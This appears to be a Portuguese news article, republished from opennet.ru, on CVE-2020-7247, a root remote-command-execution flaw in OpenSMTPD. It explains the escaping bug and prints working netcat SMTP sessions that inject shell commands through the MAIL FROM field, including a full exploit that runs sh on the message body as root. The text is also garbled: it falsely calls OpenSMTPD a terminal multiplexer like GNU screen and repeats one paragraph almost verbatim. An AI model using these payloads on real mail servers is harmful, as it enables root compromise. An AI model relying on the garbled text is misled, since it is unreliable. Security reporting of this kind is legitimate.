Vulnerabilidade no OpenSMTPD que permite a execução remota de código com privilégios de root

No projeto em desenvolvimento OpenBSD para servidor de e-mail , multiplexador de terminal de texto (semelhante ao GNU screen) foi identificada vulnerabilidade crítica (CVE-2020-7247), que permite executar comandos shell remotamente no servidor com privilégios de usuário root. A vulnerabilidade foi identificada durante uma nova auditoria realizada pela empresa Qualys Security (a auditoria anterior do OpenSMTPD foi realizada em 2015, e a nova vulnerabilidade está presente desde maio de 2018). O problema no lançamento está na versão do OpenSMTPD 6.6.2. Todos os usuários são fortemente recomendados a instalar a atualização urgentemente (para o OpenBSD, a correção pode ser instalada através do syspatch).

Foram propostas duas variantes de ataque. A primeira variante funciona na configuração padrão do OpenSMTPD (aceitando apenas solicitações de localhost) e permite explorar o problema localmente, quando o atacante tem a capacidade de acessar a interface de rede local (loopback) no servidor (por exemplo, em sistemas de hospedagem). A segunda variante surge quando o OpenSMTPD está configurado para aceitar solicitações de rede externas (um servidor de e-mail que recebe mensagens de fora). Os pesquisadores prepararam um protótipo do exploit, que funciona com sucesso tanto na variante do OpenSMTPD incluída no OpenBSD 6.6 quanto na versão portátil para outros sistemas operacionais (realizado no Debian Testing).

O problema é causado por um erro na função smtp_mailaddr(), chamada para verificar a validade dos valores nos campos 'MAIL FROM' e 'RCPT TO', que definem o remetente/receptor e são transmitidos durante a conexão com o servidor de e-mail. Para verificar a parte do endereço de e-mail que vem antes do símbolo '@', a função valid_localpart() é chamada em smtp_mailaddr(), que considera válidos (MAILADDR_ALLOWED) os caracteres '!#$%&’*\/´{|}~+-=_', de acordo com os requisitos do RFC 5322.
Enquanto isso, a string é diretamente escapada na função mda_expand_token(), que substitui apenas os caracteres '!#$%&’*?`{|}~' (MAILADDR_ESCAPE). Posteriormente, a string preparada em mda_expand_token() é utilizada ao chamar o agente de entrega (MDA) através do comando 'execle("/bin/sh", "/bin/sh", "-c", mda_command,…'. No caso de inserir a mensagem no mbox através de /bin/sh, a string "\/usr\/libexec\/mail.local -f %%{mbox.from} %%{user.username}" é acionada, onde o valor '%{mbox.from}' inclui dados escapados do parâmetro 'MAIL FROM'.

O escape direto da string é realizado na função mda_expand_token(), que substitui apenas os caracteres «!#$%&’*?`{|}~» (MAILADDR_ESCAPE). Posteriormente, a string preparada na mda_expand_token() é utilizada ao chamar o agente de entrega (MDA) por meio do comando ‘execle(«/bin/sh», «/bin/sh», «-c», mda_command,…’. No caso de o e-mail ser colocado no mbox via /bin/sh, a string «/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}» é acionada, onde o valor de «%{mbox.from}» inclui os dados escapados do parâmetro «MAIL FROM».

A vulnerabilidade reside no fato de que smtp_mailaddr() tem um erro lógico, o que faz com que, ao passar um domínio vazio no email, a função retorne um código de verificação bem-sucedido, mesmo que a parte do endereço antes do "@" contenha caracteres inválidos. Em seguida, ao preparar a string com a função mda_expand_token(), nem todos os possíveis caracteres especiais do shell são escapados, mas apenas os especiais permitidos no endereço de email. Assim, para executar seu comando, basta usar na parte local do email o símbolo ";" e um espaço, que não fazem parte do conjunto MAILADDR_ESCAPE e não são escapados. Por exemplo:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT

Após esta sessão, o OpenSMTPD irá executar com o shell o comando ao entregar no mbox

/usr/libexec/mail.local -f ;sleep 66; root

No entanto, as possibilidades de ataque são limitadas pelo fato de que a parte local do endereço não pode exceder 64 caracteres e os caracteres especiais ‘$’ e ‘|’ são substituídos por ':' durante o escape. Para contornar essa limitação, foi utilizado o fato de que o corpo do email é passado após o lançamento do /usr/libexec/mail.local através do fluxo de entrada, ou seja, por meio de manipulações no endereço, só se pode executar o interpretador de comandos sh e utilizar o corpo do email como um conjunto de instruções. Como no início do email são especificados os cabeçalhos SMTP de serviço, sugere-se usar a chamada do comando read em um loop para ignorá-los. O exploit funcional adquire aproximadamente a seguinte forma:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
…
#d
for i in W O P R; do
echo -n "($i)" && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT

Fonte: opennet.ru

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster